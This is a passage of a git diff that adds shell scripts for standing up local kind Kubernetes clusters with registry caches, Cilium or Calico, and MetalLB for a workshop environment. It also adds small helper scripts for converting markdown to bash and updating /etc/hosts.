quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null +./istio-*/bin/istioctl --context cluster1 pc all -n istio-gateways deploy/istio-ingressgateway -o json > /tmp/current-output +json-diff /tmp/previous-output /tmp/current-output diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/scripts/md-to-bash.sh b/gloo-mesh/gateway/2-4/airgap/standalone/scripts/md-to-bash.sh new file mode 100755 index 0000000000..30b6a1f93d --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/scripts/md-to-bash.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +echo "source /root/.env 2>/dev/null || true" +sed -n '/```bash/,/```/p; //p' | egrep -v '```|' | sed '/#IGNORE_ME/d' diff --git a/gloo-mesh/gateway/2-4/airgap/standalone/scripts/register-domain.sh b/gloo-mesh/gateway/2-4/airgap/standalone/scripts/register-domain.sh new file mode 100755 index 0000000000..903bd0b714 --- /dev/null +++ b/gloo-mesh/gateway/2-4/airgap/standalone/scripts/register-domain.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +# Check if the correct number of arguments is provided +if [ "$#" -ne 2 ]; then + echo "Usage: $0 " + exit 1 +fi + +# Variables +hostname="$1" +new_ip="$2" +hosts_file="/etc/hosts" + +# Check if the entry already exists +if grep -q "$hostname" "$hosts_file"; then + # Update the existing entry with the new IP + tempfile=$(mktemp) + sed "s/^.*$hostname/$new_ip $hostname/" "$hosts_file" > $tempfile + sudo mv "$tempfile" "$hosts_file" + echo "Updated $hostname in $hosts_file with new IP: $new_ip" +else + # Add a new entry if it doesn't exist + echo 